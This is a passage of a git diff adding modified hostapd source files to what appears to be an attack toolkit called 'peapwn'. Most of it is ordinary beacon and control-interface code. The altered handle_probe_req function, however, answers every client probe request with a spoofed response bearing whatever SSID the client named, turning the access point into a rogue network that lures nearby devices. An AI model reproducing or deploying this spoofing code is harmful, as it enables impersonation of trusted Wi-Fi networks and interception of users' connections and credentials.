CONFIG_HS20 + pos = hostapd_eid_hs20_indication(hapd, pos); +#endif /* CONFIG_HS20 */ + + if (hapd->conf->vendor_elements) { + os_memcpy(pos, wpabuf_head(hapd->conf->vendor_elements), + wpabuf_len(hapd->conf->vendor_elements)); + pos += wpabuf_len(hapd->conf->vendor_elements); + } + + *resp_len = pos - (u8 *) resp; + return (u8 *) resp; +} + + +enum ssid_match_result { + NO_SSID_MATCH, + EXACT_SSID_MATCH, + WILDCARD_SSID_MATCH +}; + +static enum ssid_match_result ssid_match(struct hostapd_data *hapd, + const u8 *ssid, size_t ssid_len, + const u8 *ssid_list, + size_t ssid_list_len) +{ + const u8 *pos, *end; + int wildcard = 0; + + if (ssid_len == 0) + wildcard = 1; + if (ssid_len == hapd->conf->ssid.ssid_len && + os_memcmp(ssid, hapd->conf->ssid.ssid, ssid_len) == 0) + return EXACT_SSID_MATCH; + + if (ssid_list == NULL) + return wildcard ? WILDCARD_SSID_MATCH : NO_SSID_MATCH; + + pos = ssid_list; + end = ssid_list + ssid_list_len; + while (pos + 1 <= end) { + if (pos + 2 + pos[1] > end) + break; + if (pos[1] == 0) + wildcard = 1; + if (pos[1] == hapd->conf->ssid.ssid_len && + os_memcmp(pos + 2, hapd->conf->ssid.ssid, pos[1]) == 0) + return EXACT_SSID_MATCH; + pos += 2 + pos[1]; + } + + return wildcard ? WILDCARD_SSID_MATCH : NO_SSID_MATCH; +} + + +void handle_probe_req(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len, + int ssi_signal) +{ + u8 *resp; + struct ieee802_11_elems elems; + const u8 *ie; + size_t ie_len; + struct sta_info *sta = NULL; + size_t i, resp_len; + int noack; + enum ssid_match_result res; + + ie = mgmt->u.probe_req.variable; + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)) + return; + ie_len = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)); + + for (i = 0; hapd->probereq_cb && i < hapd->num_probereq_cb; i++) + if (hapd->probereq_cb[i].cb(hapd->probereq_cb[i].ctx, + mgmt->sa, mgmt->da, mgmt->bssid, + ie, ie_len, ssi_signal) > 0) + return; + + if (!hapd->iconf->send_probe_response) + return; + + if (ieee802_11_parse_elems(ie, ie_len, &elems, 0) == ParseFailed) { + wpa_printf(MSG_DEBUG, "Could not parse ProbeReq from " MACSTR, + MAC2STR(mgmt->sa)); + return; + } + + if ((!elems.ssid || !elems.supp_rates)) { + wpa_printf(MSG_DEBUG, "STA " MACSTR " sent probe request " + "without SSID or supported rates element", + MAC2STR(mgmt->sa)); + return; + } + +#ifdef CONFIG_P2P + if (hapd->p2p && elems.wps_ie) { + struct wpabuf *wps; + wps = ieee802_11_vendor_ie_concat(ie, ie_len, WPS_DEV_OUI_WFA); + if (wps && !p2p_group_match_dev_type(hapd->p2p_group, wps)) { + wpa_printf(MSG_MSGDUMP, "P2P: Ignore Probe Request " + "due to mismatch with Requested Device " + "Type"); + wpabuf_free(wps); + return; + } + wpabuf_free(wps); + } + + if (hapd->p2p && elems.p2p) { + struct wpabuf *p2p; + p2p = ieee802_11_vendor_ie_concat(ie, ie_len, P2P_IE_VENDOR_TYPE); + if (p2p && !p2p_group_match_dev_id(hapd->p2p_group, p2p)) { + wpa_printf(MSG_MSGDUMP, "P2P: Ignore Probe Request " + "due to mismatch with Device ID"); + wpabuf_free(p2p); + return; + } + wpabuf_free(p2p); + } +#endif /* CONFIG_P2P */ + + if (hapd->conf->ignore_broadcast_ssid && !hapd->conf->answer_broadcast_probereq && elems.ssid_len == 0 && + elems.ssid_list_len == 0) { + wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR " for " + "broadcast SSID ignored", MAC2STR(mgmt->sa)); + return; + } + + sta = ap_get_sta(hapd, mgmt->sa); + +#ifdef CONFIG_P2P + if ((hapd->conf->p2p & P2P_GROUP_OWNER) && + elems.ssid_len == P2P_WILDCARD_SSID_LEN && + os_memcmp(elems.ssid, P2P_WILDCARD_SSID, + P2P_WILDCARD_SSID_LEN) == 0) { + /* Process P2P Wildcard SSID like Wildcard SSID */ + elems.ssid_len = 0; + } +#endif /* CONFIG_P2P */ + // Create fake SSID struct + struct spoof_ssid spoofedssid; + + // Match SSID + res = ssid_match(hapd, elems.ssid, elems.ssid_len, elems.ssid_list, elems.ssid_list_len); + + if(hapd->conf->specific) { + // Only send if matched + if (res != NO_SSID_MATCH) { + if (sta) + sta->ssid_probe = &hapd->conf->ssid; + + char ssid_txt[HOSTAPD_MAX_SSID_LEN]; + ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len); + + wpa_printf(MSG_INFO, "Spoofed Probe Response for STA " MACSTR " and specific AP %s", MAC2STR(mgmt->sa), ssid_txt); + } + } else { + // Always accept SSID from Probe Request + res = EXACT_SSID_MATCH; + + // Set spoofed probe response SSID + set_spoofed_ssid(hapd, &spoofedssid, &elems); + + if (sta) + sta->ssid_probe = &hapd->conf->ssid; + + char ssid_txt[HOSTAPD_MAX_SSID_LEN]; + ieee802_11_print_ssid(ssid_txt, spoofedssid.ssid, spoofedssid.ssid_len); + + //wpa_printf(MSG_INFO, "Spoofed Probe Response for STA " MACSTR " and AP %s", MAC2STR(mgmt->sa), ssid_txt); + } + +#ifdef CONFIG_INTERWORKING + if (elems.interworking && elems.interworking_len >= 1) { + u8 ant = elems.interworking[0] & 0x0f; + if (ant != INTERWORKING_ANT_WILDCARD && + ant != hapd->conf->access_network_type) { + wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR + " for mismatching ANT %u ignored", + MAC2STR(mgmt->sa), ant); + return; + } + } + + if (elems.interworking && + (elems.interworking_len == 7 || elems.interworking_len == 9)) { + const u8 *hessid; + if (elems.interworking_len == 7) + hessid = elems.interworking + 1; + else + hessid = elems.interworking + 1 + 2; + if (!is_broadcast_ether_addr(hessid) && + os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) { + wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR + " for mismatching HESSID " MACSTR + " ignored", + MAC2STR(mgmt->sa), MAC2STR(hessid)); + return; + } + } +#endif /* CONFIG_INTERWORKING */ + +#ifdef CONFIG_P2P + if ((hapd->conf->p2p & P2P_GROUP_OWNER) && + supp_rates_11b_only(&elems)) { + /* Indicates support for 11b rates only */ + wpa_printf(MSG_EXCESSIVE, "P2P: Ignore Probe Request from " + MACSTR " with only 802.11b rates", + MAC2STR(mgmt->sa)); + return; + } +#endif /* CONFIG_P2P */ + + /* TODO: verify that supp_rates contains at least one matching rate + * with AP configuration */ + +#ifdef CONFIG_TESTING_OPTIONS + if (hapd->iconf->ignore_probe_probability > 0.0d && + drand48() < hapd->iconf->ignore_probe_probability) { + wpa_printf(MSG_INFO, + "TESTING: ignoring probe request from " MACSTR, + MAC2STR(mgmt->sa)); + return; + } +#endif /* CONFIG_TESTING_OPTIONS */ + // Spoof + if(hapd->conf->specific) { + resp = hostapd_gen_probe_resp(hapd, sta, mgmt, elems.p2p != NULL, &resp_len, NULL); + } else { + resp = hostapd_gen_probe_resp(hapd, sta, mgmt, elems.p2p != NULL, &resp_len, &spoofedssid); + } + if (resp == NULL) + return; + + /* + * If this is a broadcast probe request, apply no ack policy to avoid + * excessive retries. + */ + noack = !!(res == WILDCARD_SSID_MATCH && + is_broadcast_ether_addr(mgmt->da)); + + if (hostapd_drv_send_mlme(hapd, resp, resp_len, noack) < 0) + wpa_printf(MSG_INFO, "handle_probe_req: send failed"); + + os_free(resp); + + wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s " + "SSID", MAC2STR(mgmt->sa), + elems.ssid_len == 0 ? "broadcast" : "our"); +} + + +static u8 * hostapd_probe_resp_offloads(struct hostapd_data *hapd, + size_t *resp_len) +{ + /* check probe response offloading caps and print warnings */ + if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_PROBE_RESP_OFFLOAD)) + return NULL; + +#ifdef CONFIG_WPS + if (hapd->conf->wps_state && hapd->wps_probe_resp_ie && + (!(hapd->iface->probe_resp_offloads & + (WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS | + WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS2)))) + wpa_printf(MSG_WARNING, "Device is trying to offload WPS " + "Probe Response while not supporting this"); +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_P2P + if ((hapd->conf->p2p & P2P_ENABLED) && hapd->p2p_probe_resp_ie && + !(hapd->iface->probe_resp_offloads & + WPA_DRIVER_PROBE_RESP_OFFLOAD_P2P)) + wpa_printf(MSG_WARNING, "Device is trying to offload P2P " + "Probe Response while not supporting this"); +#endif /* CONFIG_P2P */ + + if (hapd->conf->interworking && + !(hapd->iface->probe_resp_offloads & + WPA_DRIVER_PROBE_RESP_OFFLOAD_INTERWORKING)) + wpa_printf(MSG_WARNING, "Device is trying to offload " + "Interworking Probe Response while not supporting " + "this"); + + /* Generate a Probe Response template for the non-P2P case */ + return hostapd_gen_probe_resp(hapd, NULL, NULL, 0, resp_len, NULL); +} + +#endif /* NEED_AP_MLME */ + + +int ieee802_11_build_ap_params(struct hostapd_data *hapd, + struct wpa_driver_ap_params *params) +{ + struct ieee80211_mgmt *head = NULL; + u8 *tail = NULL; + size_t head_len = 0, tail_len = 0; + u8 *resp = NULL; + size_t resp_len = 0; +#ifdef NEED_AP_MLME + u16 capab_info; + u8 *pos, *tailpos, *old_pos; + +#define BEACON_HEAD_BUF_SIZE 256 +#define BEACON_TAIL_BUF_SIZE 512 + head = os_zalloc(BEACON_HEAD_BUF_SIZE); + tail_len = BEACON_TAIL_BUF_SIZE; +#ifdef CONFIG_WPS + if (hapd->conf->wps_state && hapd->wps_beacon_ie) + tail_len += wpabuf_len(hapd->wps_beacon_ie); +#endif /* CONFIG_WPS */ +#ifdef CONFIG_P2P + if (hapd->p2p_beacon_ie) + tail_len += wpabuf_len(hapd->p2p_beacon_ie); +#endif /* CONFIG_P2P */ + if (hapd->conf->vendor_elements) + tail_len += wpabuf_len(hapd->conf->vendor_elements); + tailpos = tail = os_malloc(tail_len); + if (head == NULL || tail == NULL) { + wpa_printf(MSG_ERROR, "Failed to set beacon data"); + os_free(head); + os_free(tail); + return -1; + } + + head->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_BEACON); + head->duration = host_to_le16(0); + os_memset(head->da, 0xff, ETH_ALEN); + + os_memcpy(head->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(head->bssid, hapd->own_addr, ETH_ALEN); + head->u.beacon.beacon_int = + host_to_le16(hapd->iconf->beacon_int); + + /* hardware or low-level driver will setup seq_ctrl and timestamp */ + capab_info = hostapd_own_capab_info(hapd, NULL, 0); + head->u.beacon.capab_info = host_to_le16(capab_info); + pos = &head->u.beacon.variable[0]; + + /* SSID */ + *pos++ = WLAN_EID_SSID; + if (hapd->conf->ignore_broadcast_ssid == 2) { + /* clear the data, but keep the correct length of the SSID */ + *pos++ = hapd->conf->ssid.ssid_len; + os_memset(pos, 0, hapd->conf->ssid.ssid_len); + pos += hapd->conf->ssid.ssid_len; + } else if (hapd->conf->ignore_broadcast_ssid) { + *pos++ = 0; /* empty SSID */ + } else { + *pos++ = hapd->conf->ssid.ssid_len; + os_memcpy(pos, hapd->conf->ssid.ssid, + hapd->conf->ssid.ssid_len); + pos += hapd->conf->ssid.ssid_len; + } + + /* Supported rates */ + pos = hostapd_eid_supp_rates(hapd, pos); + + /* DS Params */ + pos = hostapd_eid_ds_params(hapd, pos); + + head_len = pos - (u8 *) head; + + tailpos = hostapd_eid_country(hapd, tailpos, + tail + BEACON_TAIL_BUF_SIZE - tailpos); + + /* ERP Information element */ + tailpos = hostapd_eid_erp_info(hapd, tailpos); + + /* Extended supported rates */ + tailpos = hostapd_eid_ext_supp_rates(hapd, tailpos); + + /* RSN, MDIE, WPA */ + tailpos = hostapd_eid_wpa(hapd, tailpos, tail + BEACON_TAIL_BUF_SIZE - + tailpos); + + tailpos = hostapd_eid_bss_load(hapd, tailpos, + tail + BEACON_TAIL_BUF_SIZE - tailpos); + +#ifdef CONFIG_IEEE80211N + tailpos = hostapd_eid_ht_capabilities(hapd, tailpos); + tailpos = hostapd_eid_ht_operation(hapd, tailpos); +#endif /* CONFIG_IEEE80211N */ + + tailpos = hostapd_eid_ext_capab(hapd, tailpos); + + /* + * TODO: Time Advertisement element should only be included in some + * DTIM Beacon frames. + */ + tailpos = hostapd_eid_time_adv(hapd, tailpos); + + tailpos = hostapd_eid_interworking(hapd, tailpos); + tailpos = hostapd_eid_adv_proto(hapd, tailpos); + tailpos = hostapd_eid_roaming_consortium(hapd, tailpos); + old_pos = tailpos; + tailpos = hostapd_eid_csa(hapd, tailpos); + hapd->iface->cs_c_off_beacon = (old_pos != tailpos) ? + tailpos - tail - 1 : 0; + +#ifdef CONFIG_IEEE80211AC + tailpos = hostapd_eid_vht_capabilities(hapd, tailpos); + tailpos = hostapd_eid_vht_operation(hapd, tailpos); +#endif /* CONFIG_IEEE80211AC */ + + /* Wi-Fi Alliance WMM */ + tailpos = hostapd_eid_wmm(hapd, tailpos); + +#ifdef CONFIG_WPS + if (hapd->conf->wps_state && hapd->wps_beacon_ie) { + os_memcpy(tailpos, wpabuf_head(hapd->wps_beacon_ie), + wpabuf_len(hapd->wps_beacon_ie)); + tailpos += wpabuf_len(hapd->wps_beacon_ie); + } +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_P2P + if ((hapd->conf->p2p & P2P_ENABLED) && hapd->p2p_beacon_ie) { + os_memcpy(tailpos, wpabuf_head(hapd->p2p_beacon_ie), + wpabuf_len(hapd->p2p_beacon_ie)); + tailpos += wpabuf_len(hapd->p2p_beacon_ie); + } +#endif /* CONFIG_P2P */ +#ifdef CONFIG_P2P_MANAGER + if ((hapd->conf->p2p & (P2P_MANAGE | P2P_ENABLED | P2P_GROUP_OWNER)) == + P2P_MANAGE) + tailpos = hostapd_eid_p2p_manage(hapd, tailpos); +#endif /* CONFIG_P2P_MANAGER */ + +#ifdef CONFIG_HS20 + tailpos = hostapd_eid_hs20_indication(hapd, tailpos); +#endif /* CONFIG_HS20 */ + + if (hapd->conf->vendor_elements) { + os_memcpy(tailpos, wpabuf_head(hapd->conf->vendor_elements), + wpabuf_len(hapd->conf->vendor_elements)); + tailpos += wpabuf_len(hapd->conf->vendor_elements); + } + + tail_len = tailpos > tail ? tailpos - tail : 0; + + resp = hostapd_probe_resp_offloads(hapd, &resp_len); +#endif /* NEED_AP_MLME */ + + os_memset(params, 0, sizeof(*params)); + params->head = (u8 *) head; + params->head_len = head_len; + params->tail = tail; + params->tail_len = tail_len; + params->proberesp = resp; + params->proberesp_len = resp_len; + params->dtim_period = hapd->conf->dtim_period; + params->beacon_int = hapd->iconf->beacon_int; + params->basic_rates = hapd->iface->basic_rates; + params->ssid = hapd->conf->ssid.ssid; + params->ssid_len = hapd->conf->ssid.ssid_len; + params->pairwise_ciphers = hapd->conf->rsn_pairwise ? + hapd->conf->rsn_pairwise : hapd->conf->wpa_pairwise; + params->group_cipher = hapd->conf->wpa_group; + params->key_mgmt_suites = hapd->conf->wpa_key_mgmt; + params->auth_algs = hapd->conf->auth_algs; + params->wpa_version = hapd->conf->wpa; + params->privacy = hapd->conf->ssid.wep.keys_set || hapd->conf->wpa || + (hapd->conf->ieee802_1x && + (hapd->conf->default_wep_key_len || + hapd->conf->individual_wep_key_len)); + switch (hapd->conf->ignore_broadcast_ssid) { + case 0: + params->hide_ssid = NO_SSID_HIDING; + break; + case 1: + params->hide_ssid = HIDDEN_SSID_ZERO_LEN; + break; + case 2: + params->hide_ssid = HIDDEN_SSID_ZERO_CONTENTS; + break; + } + params->isolate = hapd->conf->isolate; +#ifdef NEED_AP_MLME + params->cts_protect = !!(ieee802_11_erp_info(hapd) & + ERP_INFO_USE_PROTECTION); + params->preamble = hapd->iface->num_sta_no_short_preamble == 0 && + hapd->iconf->preamble == SHORT_PREAMBLE; + if (hapd->iface->current_mode && + hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) + params->short_slot_time = + hapd->iface->num_sta_no_short_slot_time > 0 ? 0 : 1; + else + params->short_slot_time = -1; + if (!hapd->iconf->ieee80211n || hapd->conf->disable_11n) + params->ht_opmode = -1; + else + params->ht_opmode = hapd->iface->ht_op_mode; +#endif /* NEED_AP_MLME */ + params->interworking = hapd->conf->interworking; + if (hapd->conf->interworking && + !is_zero_ether_addr(hapd->conf->hessid)) + params->hessid = hapd->conf->hessid; + params->access_network_type = hapd->conf->access_network_type; + params->ap_max_inactivity = hapd->conf->ap_max_inactivity; +#ifdef CONFIG_HS20 + params->disable_dgaf = hapd->conf->disable_dgaf; +#endif /* CONFIG_HS20 */ + return 0; +} + + +void ieee802_11_free_ap_params(struct wpa_driver_ap_params *params) +{ + os_free(params->tail); + params->tail = NULL; + os_free(params->head); + params->head = NULL; + os_free(params->proberesp); + params->proberesp = NULL; +} + + +void ieee802_11_set_beacon(struct hostapd_data *hapd) +{ + struct wpa_driver_ap_params params; + struct wpabuf *beacon, *proberesp, *assocresp; + + if (hapd->iface->csa_in_progress) { + wpa_printf(MSG_ERROR, "Cannot set beacons during CSA period"); + return; + } + + hapd->beacon_set_done = 1; + + if (ieee802_11_build_ap_params(hapd, ¶ms) < 0) + return; + + if (hostapd_build_ap_extra_ies(hapd, &beacon, &proberesp, &assocresp) < + 0) + goto fail; + + params.beacon_ies = beacon; + params.proberesp_ies = proberesp; + params.assocresp_ies = assocresp; + + if (hostapd_drv_set_ap(hapd, ¶ms)) + wpa_printf(MSG_ERROR, "Failed to set beacon parameters"); + hostapd_free_ap_extra_ies(hapd, beacon, proberesp, assocresp); +fail: + ieee802_11_free_ap_params(¶ms); +} + + +void ieee802_11_set_beacons(struct hostapd_iface *iface) +{ + size_t i; + for (i = 0; i < iface->num_bss; i++) { + if (iface->bss[i]->started) + ieee802_11_set_beacon(iface->bss[i]); + } +} + + +/* only update beacons if started */ +void ieee802_11_update_beacons(struct hostapd_iface *iface) +{ + size_t i; + for (i = 0; i < iface->num_bss; i++) + if (iface->bss[i]->beacon_set_done && iface->bss[i]->started) + ieee802_11_set_beacon(iface->bss[i]); +} + +#endif /* CONFIG_NATIVE_WINDOWS */ diff --git a/peapwn/mods/hostap/src/ap/beacon.h b/peapwn/mods/hostap/src/ap/beacon.h new file mode 100644 index 000000000..a04a829cb --- /dev/null +++ b/peapwn/mods/hostap/src/ap/beacon.h @@ -0,0 +1,31 @@ +/* + * hostapd / IEEE 802.11 Management: Beacon and Probe Request/Response + * Copyright (c) 2002-2004, Instant802 Networks, Inc. + * Copyright (c) 2005-2006, Devicescape Software, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#ifndef BEACON_H +#define BEACON_H + +struct ieee80211_mgmt; + +void handle_probe_req(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len, + int ssi_signal); +void ieee802_11_set_beacon(struct hostapd_data *hapd); +void ieee802_11_set_beacons(struct hostapd_iface *iface); +void ieee802_11_update_beacons(struct hostapd_iface *iface); +int ieee802_11_build_ap_params(struct hostapd_data *hapd, + struct wpa_driver_ap_params *params); +void ieee802_11_free_ap_params(struct wpa_driver_ap_params *params); + +#endif /* BEACON_H */ diff --git a/peapwn/mods/hostap/src/ap/ctrl_iface_ap.c b/peapwn/mods/hostap/src/ap/ctrl_iface_ap.c new file mode 100644 index 000000000..ac330682b --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ctrl_iface_ap.c @@ -0,0 +1,425 @@ +/* + * Control interface for shared AP commands + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "hostapd.h" +#include "ieee802_1x.h" +#include "wpa_auth.h" +#include "ieee802_11.h" +#include "sta_info.h" +#include "wps_hostapd.h" +#include "p2p_hostapd.h" +#include "ctrl_iface_ap.h" +#include "ap_drv_ops.h" + + +static int hostapd_get_sta_conn_time(struct sta_info *sta, + char *buf, size_t buflen) +{ + struct os_time now, age; + int len = 0, ret; + + if (!sta->connected_time.sec) + return 0; + + os_get_time(&now); + os_time_sub(&now, &sta->connected_time, &age); + + ret = os_snprintf(buf + len, buflen - len, "connected_time=%u\n", + (unsigned int) age.sec); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + return len; +} + + +static int hostapd_ctrl_iface_sta_mib(struct hostapd_data *hapd, + struct sta_info *sta, + char *buf, size_t buflen) +{ + int len, res, ret; + + if (sta == NULL) { + ret = os_snprintf(buf, buflen, "FAIL\n"); + if (ret < 0 || (size_t) ret >= buflen) + return 0; + return ret; + } + + len = 0; + ret = os_snprintf(buf + len, buflen - len, MACSTR "\n", + MAC2STR(sta->addr)); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + res = ieee802_11_get_mib_sta(hapd, sta, buf + len, buflen - len); + if (res >= 0) + len += res; + res = wpa_get_mib_sta(sta->wpa_sm, buf + len, buflen - len); + if (res >= 0) + len += res; + res = ieee802_1x_get_mib_sta(hapd, sta, buf + len, buflen - len); + if (res >= 0) + len += res; + res = hostapd_wps_get_mib_sta(hapd, sta->addr, buf + len, + buflen - len); + if (res >= 0) + len += res; + res = hostapd_p2p_get_mib_sta(hapd, sta, buf + len, buflen - len); + if (res >= 0) + len += res; + + res = hostapd_get_sta_conn_time(sta, buf + len, buflen - len); + if (res >= 0) + len += res; + + return len; +} + + +int hostapd_ctrl_iface_sta_first(struct hostapd_data *hapd, + char *buf, size_t buflen) +{ + return hostapd_ctrl_iface_sta_mib(hapd, hapd->sta_list, buf, buflen); +} + + +int hostapd_ctrl_iface_sta(struct hostapd_data *hapd, const char *txtaddr, + char *buf, size_t buflen) +{ + u8 addr[ETH_ALEN]; + int ret; + + if (hwaddr_aton(txtaddr, addr)) { + ret = os_snprintf(buf, buflen, "FAIL\n"); + if (ret < 0 || (size_t) ret >= buflen) + return 0; + return ret; + } + return hostapd_ctrl_iface_sta_mib(hapd, ap_get_sta(hapd, addr), + buf, buflen); +} + + +int hostapd_ctrl_iface_sta_next(struct hostapd_data *hapd, const char *txtaddr, + char *buf, size_t buflen) +{ + u8 addr[ETH_ALEN]; + struct sta_info *sta; + int ret; + + if (hwaddr_aton(txtaddr, addr) || + (sta = ap_get_sta(hapd, addr)) == NULL) { + ret = os_snprintf(buf, buflen, "FAIL\n"); + if (ret < 0 || (size_t) ret >= buflen) + return 0; + return ret; + } + return hostapd_ctrl_iface_sta_mib(hapd, sta->next, buf, buflen); +} + + +#ifdef CONFIG_P2P_MANAGER +static int p2p_manager_disconnect(struct hostapd_data *hapd, u16 stype, + u8 minor_reason_code, const u8 *addr) +{ + struct ieee80211_mgmt *mgmt; + int ret; + u8 *pos; + + if (hapd->driver->send_frame == NULL) + return -1; + + mgmt = os_zalloc(sizeof(*mgmt) + 100); + if (mgmt == NULL) + return -1; + + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "P2P: Disconnect STA " MACSTR + " with minor reason code %u (stype=%u)", + MAC2STR(addr), minor_reason_code, stype); + + mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, stype); + os_memcpy(mgmt->da, addr, ETH_ALEN); + os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); + if (stype == WLAN_FC_STYPE_DEAUTH) { + mgmt->u.deauth.reason_code = + host_to_le16(WLAN_REASON_PREV_AUTH_NOT_VALID); + pos = (u8 *) (&mgmt->u.deauth.reason_code + 1); + } else { + mgmt->u.disassoc.reason_code = + host_to_le16(WLAN_REASON_PREV_AUTH_NOT_VALID); + pos = (u8 *) (&mgmt->u.disassoc.reason_code + 1); + } + + *pos++ = WLAN_EID_VENDOR_SPECIFIC; + *pos++ = 4 + 3 + 1; + WPA_PUT_BE24(pos, OUI_WFA); + pos += 3; + *pos++ = P2P_OUI_TYPE; + + *pos++ = P2P_ATTR_MINOR_REASON_CODE; + WPA_PUT_LE16(pos, 1); + pos += 2; + *pos++ = minor_reason_code; + + ret = hapd->driver->send_frame(hapd->drv_priv, (u8 *) mgmt, + pos - (u8 *) mgmt, 1); + os_free(mgmt); + + return ret < 0 ? -1 : 0; +} +#endif /* CONFIG_P2P_MANAGER */ + + +int hostapd_ctrl_iface_deauthenticate(struct hostapd_data *hapd, + const char *txtaddr) +{ + u8 addr[ETH_ALEN]; + struct sta_info *sta; + const char *pos; + u16 reason = WLAN_REASON_PREV_AUTH_NOT_VALID; + + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "CTRL_IFACE DEAUTHENTICATE %s", + txtaddr); + + if (hwaddr_aton(txtaddr, addr)) + return -1; + + pos = os_strstr(txtaddr, " test="); + if (pos) { + struct ieee80211_mgmt mgmt; + int encrypt; + if (hapd->driver->send_frame == NULL) + return -1; + pos += 6; + encrypt = atoi(pos); + os_memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_DEAUTH); + os_memcpy(mgmt.da, addr, ETH_ALEN); + os_memcpy(mgmt.sa, hapd->own_addr, ETH_ALEN); + os_memcpy(mgmt.bssid, hapd->own_addr, ETH_ALEN); + mgmt.u.deauth.reason_code = + host_to_le16(WLAN_REASON_PREV_AUTH_NOT_VALID); + if (hapd->driver->send_frame(hapd->drv_priv, (u8 *) &mgmt, + IEEE80211_HDRLEN + + sizeof(mgmt.u.deauth), + encrypt) < 0) + return -1; + return 0; + } + +#ifdef CONFIG_P2P_MANAGER + pos = os_strstr(txtaddr, " p2p="); + if (pos) { + return p2p_manager_disconnect(hapd, WLAN_FC_STYPE_DEAUTH, + atoi(pos + 5), addr); + } +#endif /* CONFIG_P2P_MANAGER */ + + pos = os_strstr(txtaddr, " reason="); + if (pos) + reason = atoi(pos + 8); + + hostapd_drv_sta_deauth(hapd, addr, reason); + sta = ap_get_sta(hapd, addr); + if (sta) + ap_sta_deauthenticate(hapd, sta, reason); + else if (addr[0] == 0xff) + hostapd_free_stas(hapd); + + return 0; +} + + +int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd, + const char *txtaddr) +{ + u8 addr[ETH_ALEN]; + struct sta_info *sta; + const char *pos; + u16 reason = WLAN_REASON_PREV_AUTH_NOT_VALID; + + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "CTRL_IFACE DISASSOCIATE %s", + txtaddr); + + if (hwaddr_aton(txtaddr, addr)) + return -1; + + pos = os_strstr(txtaddr, " test="); + if (pos) { + struct ieee80211_mgmt mgmt; + int encrypt; + if (hapd->driver->send_frame == NULL) + return -1; + pos += 6; + encrypt = atoi(pos); + os_memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_DISASSOC); + os_memcpy(mgmt.da, addr, ETH_ALEN); + os_memcpy(mgmt.sa, hapd->own_addr, ETH_ALEN); + os_memcpy(mgmt.bssid, hapd->own_addr, ETH_ALEN); + mgmt.u.disassoc.reason_code = + host_to_le16(WLAN_REASON_PREV_AUTH_NOT_VALID); + if (hapd->driver->send_frame(hapd->drv_priv, (u8 *) &mgmt, + IEEE80211_HDRLEN + + sizeof(mgmt.u.deauth), + encrypt) < 0) + return -1; + return 0; + } + +#ifdef CONFIG_P2P_MANAGER + pos = os_strstr(txtaddr, " p2p="); + if (pos) { + return p2p_manager_disconnect(hapd, WLAN_FC_STYPE_DISASSOC, + atoi(pos + 5), addr); + } +#endif /* CONFIG_P2P_MANAGER */ + + pos = os_strstr(txtaddr, " reason="); + if (pos) + reason = atoi(pos + 8); + + hostapd_drv_sta_disassoc(hapd, addr, reason); + sta = ap_get_sta(hapd, addr); + if (sta) + ap_sta_disassociate(hapd, sta, reason); + else if (addr[0] == 0xff) + hostapd_free_stas(hapd); + + return 0; +} + + +int hostapd_ctrl_iface_status(struct hostapd_data *hapd, char *buf, + size_t buflen) +{ + struct hostapd_iface *iface = hapd->iface; + int len = 0, ret; + size_t i; + + ret = os_snprintf(buf + len, buflen - len, + "state=%s\n" + "phy=%s\n" + "freq=%d\n" + "num_sta_non_erp=%d\n" + "num_sta_no_short_slot_time=%d\n" + "num_sta_no_short_preamble=%d\n" + "olbc=%d\n" + "num_sta_ht_no_gf=%d\n" + "num_sta_no_ht=%d\n" + "num_sta_ht_20_mhz=%d\n" + "olbc_ht=%d\n" + "ht_op_mode=0x%x\n", + hostapd_state_text(iface->state), + iface->phy, + iface->freq, + iface->num_sta_non_erp, + iface->num_sta_no_short_slot_time, + iface->num_sta_no_short_preamble, + iface->olbc, + iface->num_sta_ht_no_gf, + iface->num_sta_no_ht, + iface->num_sta_ht_20mhz, + iface->olbc_ht, + iface->ht_op_mode); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + ret = os_snprintf(buf + len, buflen - len, + "channel=%u\n" + "secondary_channel=%d\n" + "ieee80211n=%d\n" + "ieee80211ac=%d\n" + "vht_oper_chwidth=%d\n" + "vht_oper_centr_freq_seg0_idx=%d\n" + "vht_oper_centr_freq_seg1_idx=%d\n", + iface->conf->channel, + iface->conf->secondary_channel, + iface->conf->ieee80211n, + iface->conf->ieee80211ac, + iface->conf->vht_oper_chwidth, + iface->conf->vht_oper_centr_freq_seg0_idx, + iface->conf->vht_oper_centr_freq_seg1_idx); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + for 